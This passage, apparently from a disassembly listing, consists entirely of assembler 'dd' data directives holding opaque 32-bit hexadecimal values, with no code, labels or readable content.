		dd 0F9BF8066h, 0F0AE5592h, 0AA190724h, 70566370h, 0F3C87195h
		dd 22AC2A00h, 2DB5187Ch, 6E9D0934h, 680048A9h, 0A0375FE3h
		dd 69FD4733h, 0A0E79B7Dh, 3ABC62CDh, 3D00227Fh,	0A97310D7h
		dd 3C0F2E38h, 4037F14Fh, 3BA6CFB0h, 0D4EA92h, 7C1E5922h
		dd 0E215BD30h, 3630F6EEh, 567A59C8h, 350C00FEh,	0CFD09F6Ch
		dd 30C058EEh, 0C13FEAF5h, 0BBA00192h, 0FF5F2683h, 623980D0h
		dd 38275D6Eh, 94EF01B2h, 3C83C873h, 0D457C84Bh,	860F000h
		dd 1EB1FCCDh, 80107A3Eh, 9D1CB022h, 5FC09E44h, 8DE29358h
		dd 1CF4704Eh, 42BC0Bh, 4181943Ah, 5800EF52h, 5D0A6AC8h
		dd 776E8232h, 69B003Fh,	8189DB2Eh, 0E874277Bh, 11E47C00h
		dd 5F51E978h, 0E7E1389Eh, 87C9B380h, 2572035Ah,	8617B00h
		dd 855B7D8Fh, 1898CBh, 56599DACh, 0F02A9545h, 9AAA0A0h
		dd 0C0247EEEh, 1B81102Dh, 0C510FF90h, 97FCC8EFh, 6D290053h
		dd 9104ADF7h, 0CDF4F639h, 84EC9048h, 188817EAh,	0C14B2423h
		dd 0B027C738h, 339C212Bh, 98FAFE0Bh, 56542080h,	0F575E9Eh
		dd 6268B24Fh, 0A5E23058h, 58002878h, 24094344h,	3E09E71h
		dd 0ECB16193h, 19C88F80h, 6A008795h, 0CFBF7B7Ch, 2C6288h
		dd 2BACF850h, 611360B6h, 0F068DF13h, 95E09C40h,	12FBC6D2h
		dd 40A4FFC1h, 92422E20h, 549815B1h, 6E07F5F6h, 5702B2DEh
		dd 9F77570h, 0FE9F00EDh, 0F8D06332h, 0F10C3F0Eh, 0B021D2B8h
		dd 0C286033Dh, 65E5DEE4h, 569E0BE8h, 0FED91800h, 19707F23h
		dd 345E485Dh, 247CD24Ch, 44E40C22h, 64708086h, 0DCEBCC09h
		dd 480EBA84h, 0A53A3911h, 0D45F984Eh, 2476AA00h, 0B38E55h
		dd 35445E03h, 93BC598Ah, 0B3FF1324h, 0EF95482Ch, 9231A0ACh
		dd 470A0CADh, 6EE06B1Fh, 904FC229h, 0E401C04Fh,	546298A7h
		dd 134E413h, 32F161EFh,	48813D1Bh, 920068C8h, 7AF7D259h
		dd 19EA59Dh, 0E4D8B426h, 30230D30h, 9EAC328h, 0D32EAF0Ch
		dd 0EA51F4h, 0FB6C6374h, 9ADECC8Ch, 80C5563Fh, 7B495F46h
		dd 0D730B7h, 1707C669h,	0F094E803h, 57AC2316h, 835DF403h
		dd 685C905Eh, 501C132Eh, 0B19021FAh, 0C23420DDh, 125BE209h
		dd 3750300Fh, 1C6905D6h, 92FDE389h, 346C8DACh, 616FB415h
		dd 0A407019Ch, 0C3AADDE8h, 680B1C23h, 0A8004270h, 0D5F0A1F4h
		dd 51866604h, 0E883B093h, 6D290083h, 97C16F89h,	0B003013h
		dd 4FDAC4A5h, 92B720FFh, 0A4705184h, 0F1DDC0h, 7ED0ED8Ah
		dd 18DC1617h, 0F04D600h, 1214119Ch, 392E002Ch, 90562FA0h
		dd 2C924435h
		dd 0F7CAB800h, 0EB1678C1h, 0D1650319h, 84902886h, 1D89EEC0h
		dd 3A1A6B00h, 48410564h, 6175395Bh, 0AD80E04Dh,	5160DA79h
		dd 0D9A40B50h, 0A8DF0C00h, 0A4C7C55Eh, 1AD402D5h, 0F8AF5BB9h
		dd 0F8644C49h, 520C1D2Bh, 0A0BAF52Ah, 0C74701A8h, 0EC15A96h
		dd 9422C2h, 0CA148A9Fh,	791C76h, 0F7E3BA02h, 0B3B9C80Dh
		dd 0E5CCA418h, 0F0674212h, 95F83Ah, 4F0AB045h, 845DA686h
		dd 70037890h, 8F2DCB16h, 9870D791h, 8D7232h, 6685EC3Dh
		dd 5551B4B9h, 13E3B38h,	5E0796E8h, 0D861BCC8h, 43A260D2h
		dd 648A006Ch, 7AB93D76h, 0DD00DA5Ch, 48D171D0h,	0C4092h
		dd 38B8D5FBh, 0DA19CD50h, 628D7907h, 0D4672364h, 5C80D3E1h
		dd 28135828h, 0B68C0038h, 509FAA33h, 30CEF32Ch,	0CB414840h
		dd 8FD200C3h, 0AF9BC668h, 121C76D6h, 0E59D6361h, 67B65240h
		dd 0B887533Fh, 0E3E40024h, 310CFADAh, 0E5006B50h, 0CF2296F5h
		dd 0B5CA43h, 0E06A7012h, 30641B89h, 25272F00h, 0ECBA0963h
		dd 0B805006Ch, 2EC9E608h, 0D6005D6Dh, 0C555FE86h, 3C2204DCh
		dd 0E30923F1h, 442287D3h, 10C49E4Fh, 50F14220h,	24A7E2C2h
		dd 80DC2578h, 7B27C813h, 3A01AF2Dh, 44062656h, 0EB4585F3h
		dd 3525A880h, 8C73074Dh, 3067127Bh, 345F9291h, 0B5D3DE13h
		dd 9B853842h, 0BE0D60CFh, 9394A8CAh, 0B1233A4Eh, 0FCB56F00h
		dd 445B552Ch, 458FFF00h, 7884508Bh, 61C00039h, 0B7981B0Fh
		dd 0C2023309h, 1ED8AD6Ch, 0B434E06Bh, 0A3F21CB8h, 45D90051h
		dd 0BD506527h, 0F6038670h, 0EA1CC7A8h, 643DAA30h, 0F3ED0050h
		dd 6B7151CAh, 0B30283A3h, 2A9CB8D1h, 0D8884932h, 0D084F063h
		dd 8EC8DC7Bh, 15C90C00h, 8D33AFD6h, 0AEC4A65h, 534EAE0h
		dd 0D099EB83h, 0CBC7C130h, 600289F2h, 446293BAh, 107B60E6h
		dd 447D4D33h, 4D42AB01h, 8EC4B513h, 73C1CF39h, 0A00AC407h
		dd 2CD2D9B4h, 559D10CDh, 0BC946424h, 8210A002h,	1C94E793h
		dd 9EE8A4C6h, 0E88B18E7h, 0BE0083C3h, 178EE475h, 0C7FD3B4h
		dd 0B5745B2Ah, 2509AE70h, 23BB3AF5h, 0BD3CC4F0h, 0B882D487h
		dd 35E864DFh, 98976Dh, 0BCFDC690h, 0AA4C27F5h, 0E63F24E1h
		dd 3383826h, 12A9ABCDh,	85F0BA6Ch, 24CAC2D7h, 7E48110Ah
		dd 47828088h, 355E53ABh, 0F491E899h, 0CC9320C4h, 0DD30D794h
		dd 0E7067010h, 39F00A0h, 0CB960C38h, 0C498636Eh, 0BBA3EE00h
		dd 0BDDBB68Ch, 20EA5D33h, 93A0A800h, 0A2971B87h, 0D6B77D03h
		dd 0C579B07Fh, 93002CCFh, 2388FE1h, 78C04803h, 7DB5A092h
		dd 395D021Ch, 60759713h, 0FA66C8C8h, 41DC2730h,	5821684Fh
		dd 800A41Ah, 0E141184Ah, 6790F264h, 0D8A8E0E4h,	0B703BEC2h
		dd 43295988h, 60788866h, 9BAA0077h, 823C736Bh, 0E0012FA2h
		dd 9DFC8A75h, 10205667h, 0A9FF002Bh, 896F060Bh,	0A1B2D24h
		dd 0E0814CCBh, 90DD4153h, 40490034h, 88B6FD9Ch,	0F9A02917h
		dd 0FFEC20D5h, 6401E379h, 0DB0F262Eh, 418A571Eh, 86DC0218h
		dd 48D34AB5h, 0C459D52Ah, 2945D131h, 150050A5h,	5A0024A6h
		dd 0FE4BB325h, 3AF12E36h, 480085D7h, 0A683D508h, 0AB786ACBh
		dd 0FDB79000h, 2A940CEEh, 0F5FCC0h, 0AC5D9958h,	2654E087h
		dd 0D1000490h, 62FE3E56h, 29CFF2h, 0D94A3DEAh, 8AAC91FFh
		dd 2C428800h, 40131B3Ch, 448B1C9Ah, 741780CDh, 0ECA40248h
		dd 34549407h, 4540DF9Fh, 3E6FA8E2h, 0F12E62D9h,	0D46E8138h
		dd 40EDA37Ah, 0C95AD2EEh, 0DA1DFD00h, 156A02ADh, 0C4E00B3h
		dd 0C6A6591Ah, 7C3D7AF1h, 938F80ECh, 0A48E79D7h, 202B00BBh
		dd 36B67847h, 637718A5h, 2749F300h, 0E452F215h,	0C60D1761h
		dd 4B840195h, 4733AD81h, 0B36AD0A8h, 0C31D11DDh, 71CB387Eh
		dd 90240955h, 0EFAF86Ch, 8B69F53Bh, 0C05A5D5Eh,	6B275FBEh
		dd 54000F60h, 0DA1A7403h, 35E72F5h, 92A381A0h, 4EA8124Bh
		dd 0AB0FF901h, 0B828EF32h, 1D4DCF58h, 0E7C620EAh, 0D8AAF800h
		dd 0F91F3572h, 0AB4C0E03h, 5FAEA8h, 0B58FDC3h, 93E8D74Bh
		dd 0DD7F1600h, 8878E6FBh, 8C652811h, 75DF0084h,	0AD6D40C6h
		dd 281FA198h, 0B14E2F55h, 0E64C809Bh, 0C64A11h,	466707BCh
		dd 45ED9818h, 0B63940B0h, 0FAFA61Bh, 3AF426h, 3E192F65h
		dd 604DB02Dh, 0C41828EFh, 505431Bh, 0BF23D189h,	3DD0A0h
		dd 91B1A64Fh, 45C052B2h, 78F40171h, 0DF078E79h,	4E4DDE5h
		dd 7DFBD680h, 2FF80044h, 0DE6F7426h, 0BF00EF35h, 4F9EBDB0h
		dd 301D518h, 11E599DBh,	0CAECB843h, 4E3600BCh, 41E0BE3Fh
		dd 35570046h, 782E963Ah, 5B045C85h, 0CD4A38F0h,	0B8489C83h
		dd 46A3EDh, 595F8DC4h, 47411B54h, 0EE31D500h, 0A01D3D93h
		dd 7E7B001Ah, 7FB07714h, 0D0010ED9h, 62E7F6E1h,	0A3F8B69Dh
		dd 0E5F90304h, 8BA688CCh, 970432AEh, 1C19C256h,	0FC720B0h
		dd 750110F3h, 0A974835Dh, 58D031A0h, 544D66B5h,	5ED30048h
		dd 0EC451761h, 83EEC043h, 340DFACEh, 0FC82FC25h, 0A8F41C4Ah
		dd 56F044F0h, 1070254Eh, 0F5E8812h, 5A0628FFh, 0BDEAF881h
		dd 59E860ACh, 0EBEC10E5h, 0FF550077h, 63B1BC31h, 0B9247517h
		dd 0A300B8CDh, 0D03E96E3h, 14F600F1h, 4AA5482Fh, 576E99DCh
		dd 0AF2A20F0h, 9063926Dh, 0CE6A0E78h, 0E743E6E2h, 1A3E9A69h
		dd 40BE807Fh, 0FB523509h, 0D8FA0134h, 3F9DC2B6h, 0D0643515h
		dd 24009CADh, 0BBF04006h, 0D2E7E29h, 321DD52Fh,	0E4B4D1B0h
		dd 9270711Ch, 0DA167F01h, 5BED3A6h, 0D5C430h, 66E00638h
		dd 1F6A57AEh, 100AA7Fh,	0E45ACEE5h, 850ECAh, 0B6C3CB1Ah
		dd 0AC920F93h, 18FF6D00h, 0B67EE50h, 31D70044h,	0C959DFD6h
		dd 0E9000AA5h, 766887CEh, 488CE31Eh, 8E0040B7h,	0B87BDB88h
		dd 5C2F2DEDh, 0A98821FCh, 63C86679h, 0BF0B00DFh, 2329FF4Bh
		dd 0CD003AAEh, 0D6CCCE7Eh, 691104h, 0AAFE5335h,	0CA5898C2h
		dd 38F5FC00h, 9C568061h, 7F78FA85h, 0D7AB0314h,	0F7629672h
		dd 0A2F56900h, 90AC26E0h, 0FB5E3E7Ch, 0D6FC4400h, 758143C3h
		dd 90C14D2Eh, 0F6894A80h, 1D46D90Dh, 0F0F1AFh, 21DD02CCh
		dd 451D2B31h, 800579Bh,	4C3927EAh, 660F0F7Bh, 0E107E877h
		dd 0F08744h, 0C8CBFF0Eh, 0BC46C000h, 0AF3AF6C4h, 0FA1D0EC9h
		dd 19A35EA9h, 6000F2C6h, 15C14C7Ch, 71001C8h, 0E35FD920h
		dd 109217D6h, 4B77B597h, 0EBE2EA03h, 39E64FC0h,	2685C599h
		dd 0D09234BCh, 2706CFB8h, 0A50740BAh, 0C38872E7h, 0C29673B3h
		dd 0A3109115h, 0F10D1C51h, 1A11F080h, 0EF45132Ah, 17DB7000h
		dd 98B47DA9h, 295C0008h, 0FCA3A106h, 674CC993h,	27220FDBh
		dd 553FE13Dh, 0A45029FEh, 7A3693A7h, 0D8BA49E1h, 0D2D14100h
		dd 3786D5B9h, 0B86AEF07h, 0E1CEBFB3h, 7B644C25h, 9EE0420h
		dd 1514ED1Ah, 0ABC59F80h, 8C126894h, 0E000BA8Bh, 804747Fh
		dd 7D1783Dh, 4938E769h,	14AE501Dh, 663AC606h, 1FF00065h
		dd 134D09F5h, 8E8703BBh, 55050F59h, 0BC2F80F5h,	1B0079FCh
		dd 0FF651E8Ch, 24AEE10Dh, 8F312Ah, 0C377E9BEh, 6300CD30h
		dd 5A198BB8h, 57B6536h,	276E509h, 30AC801Dh, 1E000564h
		dd 2E015BB4h, 789070h, 142FECAFh, 91CB1183h, 812DD800h
		dd 84D2062Ah, 31360C5Fh, 6B1E7574h, 59C58501h, 0E67BBDD4h
		dd 78F44EDCh, 32363A49h, 54210280h, 0B181635Ch,	3F9FB802h
		dd 61D14A33h, 0ACD42C2Fh, 38B0C0h, 4B9C8D74h, 3AE969B9h
		dd 73233307h, 0FA200BF5h, 0B40D332h, 1E450556h,	0DDCC28C0h
		dd 269A2C18h, 0E2AE11h
		dd 4025B3AFh, 85365666h, 8F688225h, 0BC090A98h,	0A0FFF589h
		dd 96971B8Ch, 0F439385Fh, 46F8E684h, 0D090A1B0h, 3A009911h
		dd 82B7278Fh, 0E2E2365h, 3E91FEFAh, 0DC7E9C2h, 0BE13A081h
		dd 3986E0F0h, 7EC84Ch, 0A52E7F85h, 0B6649FB0h, 0CAFA09D4h
		dd 0A100806Ch, 43C378Dh, 3F41D2Eh, 452FB9FEh, 0A788B0A8h
		dd 0D138D5CDh, 8FB780F2h, 0F577614Ch, 0B5DD0717h, 407C1D8Eh
		dd 6ACAEFA3h, 76E40100h, 0E102C3EEh, 0ABC60105h, 815841Ch
		dd 9C10D07Ch, 0CBB48D50h, 2AE8E100h, 6F315F99h,	0DBB600C2h
		dd 4F5EBDD5h, 7401BED7h, 7D6BB961h, 4EF4E69Dh, 0A82C1F9Bh
		dd 0EF90C131h, 9CF6641Ah, 0DA97F080h, 60B1B088h, 0B45258DDh
		dd 0D700B9A5h, 9ACE3F8Eh, 946D5A8h, 0A72EA9DFh,	5D73C060h
		dd 82EFE900h, 84BC8D27h, 0CDA00D3h, 7E0A868h, 0BD075E3Ch
		dd 40A68367h, 0CCD735F0h, 5D3D01D3h, 3E24B278h,	7F8040EEh
		dd 0F70038C6h, 0D3A2D462h, 1175CC0h, 6CB849DFh,	3C947BACh
		dd 2A7C80A0h, 0D82BB7h,	9F1EC3Fh, 0A639BC58h, 7C04400h
		dd 7E25454Ah, 4902005Ah, 2E646FC4h, 701C8E1Fh, 0EC05FA1h
		dd 142073E9h, 0DF7A02B6h, 0B8847897h, 5C6B4869h, 0CF1CB384h
		dd 6F80EE1Bh, 70335DCDh, 5EC600A7h, 80232C2h, 0BE006E51h
		dd 6A9CC3CEh, 0BDF51Bh,	0AA074F33h, 0E52EA396h,	4E3EA700h
		dd 0FE3CC62Ch, 577E24E3h, 7058982Ch, 0C17C819Bh, 30929292h
		dd 233BE001h, 0EBF3C0B9h, 4BC804D4h, 0BD98028Ch, 8449F4F8h
		dd 299B70C6h, 0E89E3B32h, 811C569Fh, 97133831h,	0B652C848h
		dd 94166B1Fh, 599BDF00h, 0E27B99D0h, 0DA610034h, 0F15C7523h
		dd 5100C68Eh, 0D63DC2E5h, 16A0741h, 2B77A5E7h, 60DE1C58h
		dd 8805A8B9h, 0E9E4B8DAh, 0BF6B480h, 42723749h,	0EA0EC011h
		dd 3E0E778Ch, 0FBB72F78h, 0F138A018h, 0EF0600ECh, 98569D01h
		dd 0DB00C6FEh, 5DBC6239h, 654526h, 714D31F6h, 0DA46C46h
		dd 0E979DA01h, 0E49FE5F7h, 0BACECA60h, 0F0720034h, 2935B57h
		dd 0A30091DEh, 0D3D57F37h, 0A0F64E21h, 733B084h, 586D9EA7h
		dd 0F721EF96h, 20242FBCh, 0B101DDA6h, 0D4460976h, 1460BFE7h
		dd 1BD23A64h, 0FC8F9880h, 2620FBD8h, 74F7C0A0h,	0A6E15Ch
		dd 502557BAh, 25D24527h, 2040A6CDh, 0F2070DB9h,	35D7C9ECh
		dd 0F94880F9h, 12EFE39h, 4DBD90CCh, 0E0F2D889h,	1B4C5AA6h
		dd 90D12E44h, 1AF90038h, 0F19C1C53h, 7E30002Ah,	0F5256B8Dh
		dd 3B004697h, 579D7164h, 4C915A3h, 74729062h, 38F080B2h
		dd 7C003B76h, 0DE4FF62Fh, 24BAF5C1h, 1F87312h, 194572A0h
		dd 0F1A9804Ah, 96E52827h, 891626C5h, 99FE0030h,	7CA3F70Ah
		dd 7FE4351Ch, 0C4246540h, 7130CEBCh, 0F9A200EFh, 8C01878Dh
		dd 91261367h, 0DB008316h, 6652D5DEh, 6274027Dh,	234F8FE4h
		dd 5C394FC0h, 0C42D607h, 56A0B852h, 39947591h, 7480C151h
		dd 9688F041h, 0D705B426h, 43D29E7Fh, 0D33C20ECh, 4C006A4h
		dd 0A9638B71h, 0BFF70110h, 54135A94h, 0AB3C402Bh, 3EEBD989h
		dd 3A762200h, 0F9FC033Bh, 6E7D00D3h, 0B427AF29h, 0A500056Dh
		dd 49D765E3h, 0FAA4D511h, 0D69E1C86h, 8050000Dh, 0DE84C85Ch
		dd 14E383Dh, 0B0DC7157h, 402AB386h, 0CCEC9668h,	7867C95Ah
		dd 32B09AAAh, 0CB2B36h,	9F5DCFA6h, 11C5CC03h, 0B2D64700h
		dd 0CDB59375h, 0DFC3C13h, 6F9CF381h, 0D09710F6h, 0DF00EE07h
		dd 6EA07BEDh, 0A6F51Ah,	0DE4624D2h, 602D5B9Bh, 0A4CE9816h
		dd 0CC53BE00h, 918864h,	81832E4Bh, 373C6F2Dh, 0BC1C3E04h
		dd 2CA0C999h, 0E8DC00FBh, 0D9F34B08h, 22C0DD97h, 0A9C30170h
		dd 0EA9F0ED6h, 89A0C2F2h, 90724069h, 1A6983Fh, 0CB84F930h
		dd 807C5750h, 9D0DB702h, 0CCC0CFEBh, 725CDFABh,	14FCE2F0h
		dd 83E8D0E6h, 18E05D31h, 0A2F0F0F7h, 0B0169805h, 0A5953AECh
		dd 632007Ch, 2718CAC9h,	0E0066C5Dh, 0C072F6A3h,	88F0CD1h
		dd 5D60C195h, 0ABE08C00h, 2886F74Bh, 704763B2h,	85C9ADh
		dd 72E63D48h, 3673BB92h, 0DD7E2300h, 0E23F2E41h, 65EF0329h
		dd 154F04AFh, 0CA06D087h, 3500E053h, 849118Dh, 0AA1A26h
		dd 519BA754h, 85B92C61h, 0F5DCE200h, 0BD39A267h, 0F99F3E31h
		dd 80510A1Eh, 0FEEBC90Bh, 0BF241583h, 3E00176Bh, 0FC73A485h
		dd 0ABCF0382h, 9109FA26h, 0C79848A3h, 0EE007527h, 0A49D6C22h
		dd 0AC33A21h, 323325E6h, 6D16A0h, 4BC463A1h, 0C807B0C9h
		dd 8F50DB41h, 0A67FE250h, 20F700E5h, 0D7ABDC18h, 0DF00881Ch
		dd 0DEE0AFA1h, 5E303Dh,	8B08CA97h, 6BDA957Fh, 48004FB0h
		dd 9DD3C5C9h, 5890DB55h, 6D00FD1Dh, 18E065DAh, 0DC155CB4h
		dd 0EC0D616h, 80A23024h, 0FDD759ACh, 381D0008h,	0B0E1AF43h
		dd 1F0C92FAh, 31C6C9DFh, 93AC4EBEh, 0AE0AF6Ch, 0ACB8B1A7h
		dd 0E44F2D01h, 0C8DC62E2h, 0C0485F3Bh, 9FA41BBDh, 7E2CE627h
		dd 0A624A8A6h, 75021404h, 518B2C90h, 0B6EA3FA9h, 58C116h
		dd 901496Fh, 5000DDAAh,	0A13C8317h, 3B854B67h, 0F40C0B7Eh
		dd 0C710BB6Bh, 0EAC2D103h, 0C544E063h, 0F694DE07h, 4B740320h
		dd 1DC81EC6h, 0AE2680CBh, 2948F797h, 1F630500h,	75568845h
		dd 50DFFCE9h, 14C74F0h,	180A659Fh, 0D8087648h, 9209DB12h
		dd 0DAE0ACBDh, 0F742BCh, 5FF97172h, 112A3EDh, 0F27515Eh
		dd 0D0A04775h, 16142E45h, 0B5E54Fh, 27C4A8D5h, 1BE14D4h
		dd 0A6049D8Eh, 0F7623E41h, 0D77DE1E0h, 544F3D07h, 0F521197Bh
		dd 0C32F0B51h, 830FB8Dh, 0D18D21E2h, 0BD38C07Bh, 0A0ADE0B8h
		dd 3F783Dh, 0D263B66Ah,	70C518Ah, 0A64F27A9h, 584293DAh
		dd 0B40040A6h, 6F266A1h, 33375B8Fh, 0CD0896D5h,	0A9952100h
		dd 419D3666h, 3B5917E7h, 68520050h, 2CA32731h, 0B840DE30h
		dd 6029A713h, 543A18D2h, 42303DDBh, 21BD4963h, 34CB1F6Fh
		dd 14810616h, 90C898D8h, 6001CBD7h, 484706EDh, 0A2888948h
		dd 0B1661D9Ch, 7709E5Dh, 0DA291652h, 8EDF919Ch,	520F421Fh
		dd 10E131FBh, 7BD79Bh, 2AF47787h, 3A042CAFh, 94665B05h
		dd 0D2047D2Dh, 1D87227Bh, 0D15C57B0h, 90DE00CFh, 0CBF74237h
		dd 0B47BB3CEh, 61DC6900h, 7A5F3D1Ch, 16CF00A9h,	63F7E45Bh
		dd 1F005812h, 5EB87D9Fh, 0F055ABh, 0A9D7AAAFh, 3A32BEBAh
		dd 0C9EDE71Dh, 0FED46BC0h, 7EF0CFh, 0B686A26Ah,	85D30FB2h
		dd 0CB204903h, 0B0FB5A1Ch, 3B1EEBh, 0D641E9DEh,	4D8FBB74h
		dd 99A40200h, 77A3ADCEh, 72820007h, 619B6417h, 7800CBC3h
		dd 0D4715F55h, 14725ACh, 46D21534h, 0F427EAF1h,	0A1008548h
		dd 6DE37D10h, 0E093D0AEh, 469D037Ch, 0B2F04ECCh, 268A83E8h
		dd 0D16CFF00h, 8EA96EB4h, 0D5021C69h, 0ACB547BCh, 3C23E029h
		dd 0C90FD197h, 80501BF8h, 95692E15h, 0C49A098Bh, 0A800540Bh
		dd 211FF2D2h, 0BB17E21Eh, 55614800h, 76F189h, 0F01D26D0h
		dd 3CA104Eh, 8B15FF1Fh,	8771C1C0h, 1921E676h, 582ADB0Eh
		dd 1BA6F0F8h, 0E1B67F03h, 0B0F37102h, 3274Ch, 55DD4AD2h
		dd 0D86BE585h, 0D916AA00h, 14E0B30Dh, 0E778BCh,	5F02D30Bh
		dd 4DB2D36h, 82123E00h,	5A53AD65h, 6D90B2h, 0E2D0E8E9h
		dd 61ED4B06h, 0F0931100h, 9D3719F8h, 0B147046Dh, 0C0E8F6C0h
		dd 0C6B97AB4h, 797E913h, 0DC80E11Dh, 988AA07Dh,	0F31503F6h
		dd 3C435A16h, 9115E14h,	4EC600A4h, 3638AD1Ch, 90D100B0h
		dd 28B99E5Eh, 3A00DB91h, 9FF7DE3h, 38EFD3Dh, 0C6664557h
		dd 11005A86h, 0C39D7DD7h
		dd 0EC949B1Eh, 0D9F348A6h, 932A500h, 0DEA1A0B0h, 0E15DC000h
		dd 683527C1h, 0E085001Bh, 48E9BF10h, 0C57B565Ah, 28FA7800h
		dd 0C0DAC88Eh, 99EE00B4h, 2BF27F7h, 2F00B262h, 96FCC1A2h
		dd 0C893D47h, 5F370114h, 2A0B2058h, 9F6B2Eh, 879EFFFh
		dd 57260061h, 3DB93C32h, 0D91F176Dh, 120427F8h,	9FC07A48h
		dd 0F81BED0h, 8792B721h, 5AC0BF6Fh, 0A6C02F59h,	6F0CF802h
		dd 0C027CAEFh, 653A29h,	89FF643Bh, 2F9DF3B8h, 43165D0Fh
		dd 25CB20F7h, 678B45h, 0C74CBC12h, 181B422Ah, 3FAD4D2Ch
		dd 8545E100h, 1A5A76Eh,	35190F12h, 0FCF530F8h, 0FBF4A1A2h
		dd 3C5B94A8h, 6DF234A0h, 83CE593Ch, 0F39A178Eh,	63B79050h
		dd 0F082019Fh, 52C06494h, 6684FC54h, 0ED735D07h, 0C540C6E1h
		dd 459F7Dh, 87C84479h, 233D9B60h, 902913Fh, 0A27A08h, 1925A144h
		dd 0B610739h, 9F51A97Dh, 919E7E46h, 3A0B2FE0h, 7FD5EDB6h
		dd 2AC58380h, 1400C765h, 7DC457F4h, 72C9CAh, 0BAF3ADC1h
		dd 645D4D1Ch, 56AB102h,	0E080F444h, 3D086Eh, 0F376FB8Bh
		dd 0C62C691Eh, 0D04F7224h, 0ACE17B80h, 0E163BD8h, 0B3E0B21Ch
		dd 58B434E0h, 26302742h, 0C935284Dh, 0B210241h,	62CDA2C7h
		dd 1F14F7DEh, 20DB08A4h, 351C005Fh, 5A8E1869h, 1FE9A800h
		dd 0A325417Dh, 0F0307914h, 5BD600BAh, 95D10399h, 0B20769FDh
		dd 27050C0Eh, 1853ACD3h, 648C9070h, 0F81DDE83h,	54C063F6h
		dd 0B4D4E347h, 1D130052h, 0FD607E81h, 0F707CA1Bh, 87E16470h
		dd 56E0403Fh, 1F8AA4E9h, 8746487Eh, 0CC8141A1h,	0ED3A7F20h
		dd 0D490090h, 5FA1154h,	1F445h,	8B9C7DF9h, 0E0C60F66h
		dd 722E131Fh, 0FDD5D400h, 508E473Ah, 3BBE90B2h,	4C8C5C62h
		dd 0AA593D3Bh, 6AF1E560h, 0F1BF52h, 0D9FA8343h,	8F9AE001h
		dd 7A64E100h, 5FF54B29h, 303B3B85h, 91D8A48Ch, 1B006090h
		dd 0AC53F212h, 3EF3F8FFh, 72052233h, 838C9454h,	0BD84388h
		dd 0D426AC64h, 2A00ECE6h, 0E5795530h, 6683021Bh, 8489BDBFh
		dd 11A87C40h, 550016F0h, 0A16C1342h, 3021A45h, 621D1DEh
		dd 0F1F75EC2h, 0ECCC640Ch, 81001787h, 0C335C607h, 7E123485h
		dd 4F690005h, 27F6BFE2h, 9C002AA2h, 8DBDA9E1h, 494B8214h
		dd 0D3035CB1h, 248B1CC0h, 30BE25E1h, 991D9638h,	0BC184F0Ah
		dd 16CA110h, 8CCEE512h,	0F07A3DD6h, 0F01E6308h,	29C13EB6h
		dd 582783EEh, 0E0F75835h, 989FB41Bh, 0BE5F303Ch, 27B18BF0h
		dd 3100C3B8h, 7AFEA473h, 68E7C203h, 0E9E392Fh, 0C34067E1h
		dd 61F359B2h, 51B8F700h, 0CAE5D14h, 0C40B1C4Fh,	0B3B440BFh
		dd 0F5203E2Fh, 5AE1F200h, 35BCACCEh, 7415074Ah,	0FE340EA4h
		dd 0E260B8AFh, 0D344CE36h, 18B7E300h, 0AD2E3283h, 7D9100BDh
		dd 2454EF39h, 4D00D682h, 5EFBCBCFh, 988A222Fh, 328903B4h
		dd 0C6EF835Bh, 368499D8h, 0FE91B2A0h, 28D1C03h,	0C7753D58h
		dd 0F10E1220h, 39CD2E2Eh, 0FBF40363h, 41A8B997h, 4C000B93h
		dd 35ED1D72h, 2425FF65h, 587620h, 94624FF3h, 1F00C105h
		dd 30FD2988h, 5448563h,	0B624775Fh, 3328871Dh, 0C7F8FA59h
		dd 6300F5AFh, 3B7D7BB1h, 2F976Ah, 80D56485h, 4C28E662h
		dd 0EB6C9F1Eh, 8D763000h, 1DCB39A3h, 0C065D40Fh, 0CD06604h
		dd 0DF00993Ah, 0E8AA1BCh, 0FB50FAh, 0F9B665D2h,	120CA37Ch
		dd 70436D05h, 67C05D41h, 0BEED8Fh, 3ABFC228h, 0DC1F3D16h
		dd 9FE2CD00h, 7A882946h, 421B03F2h, 542876B9h, 0DF8653B0h
		dd 2CC4221Eh, 743CAC3Eh, 182BBE00h, 49AD3FCAh, 0A00F18E9h
		dd 0BDA0071Ch, 2EF8D43Dh, 0AA36700h, 0A783F1CDh, 18C00D7h
		dd 643276CCh, 0D807D555h, 5CE27A92h, 4486DB60h,	0BAFB03B6h
		dd 418311E6h, 8218F6C8h, 38AF1913h, 0A029D109h,	0C2A22180h
		dd 61770065h, 198BE26Ch, 44064FD9h, 27E528DFh, 8D661628h
		dd 0DAA44061h, 0E6A305F3h, 0AA00EB74h, 0C34EE549h, 4882C801h
		dd 178AC9Bh, 7D26025Bh,	0E0EE47F4h, 0C8180D17h,	8B218FB5h
		dd 0EA653A01h, 18122C50h, 21A3E2C8h, 570F032Bh,	40DE2E29h
		dd 47E69705h, 0B98AF9EBh, 3D486325h, 0B574B0C0h, 749F3Fh
		dd 2B248E5h, 0D5209Ch, 2ACC8F68h, 0E96E520Dh, 0F20688ECh
		dd 0F869396Ch, 0E471A0h, 6B7841B1h, 0AD011E24h,	72CB8100h
		dd 0EACE6D96h, 97A50038h, 0D7087BF7h, 0D00EE86h, 932120D6h
		dd 0C22C78h, 1AB0DF25h,	7C5ECF26h, 9F613800h, 74AC75D9h
		dd 0EBD200B7h, 0BD63DA3Dh, 76003301h, 0DF57BBBCh, 0F890CDDDh
		dd 0FDE5000Ah, 8BCB1B5Bh, 0D300B451h, 43A4D786h, 97A11Ch
		dd 0A2453F0Fh, 0EBFD5B46h, 6276300h, 0E18B71E4h, 0EC5201EEh
		dd 26B0660Fh, 4E1AF0BDh, 94E0F528h, 0A503FF73h,	0AB3E69Eh
		dd 2AABDB2Bh, 0A45408h,	2EA5D924h, 0AAA753FBh, 8D8EA13h
		dd 52D46702h, 0A1BCA025h, 0F9ECE3Fh, 6A2C723Ah,	0EB326780h
		dd 0E403C0B7h, 4E7AF3C1h, 203862EAh, 27064FBDh,	5DCA0641h
		dd 1124AEB3h, 0F6178028h, 431AF03h, 2621A0E5h, 0A6D06308h
		dd 0DB2B006Dh, 0A347F909h, 0D999FA00h, 798CA0E6h, 312E031Ah
		dd 6D8E7AE7h, 5DC9680Ah, 164030DAh, 46AFFE2Bh, 61887F29h
		dd 2B7B0Eh, 911F50DDh, 0C3F4E28Ah, 0E4634902h, 845DE55Ah
		dd 1061DC2Ch, 0B9AFC02Bh, 0A5C0B57h, 0E52B086Fh, 6B44B000h
		dd 533466Ah, 0A8EA88E9h, 0B7900004h, 98D426E6h,	0A65071C0h
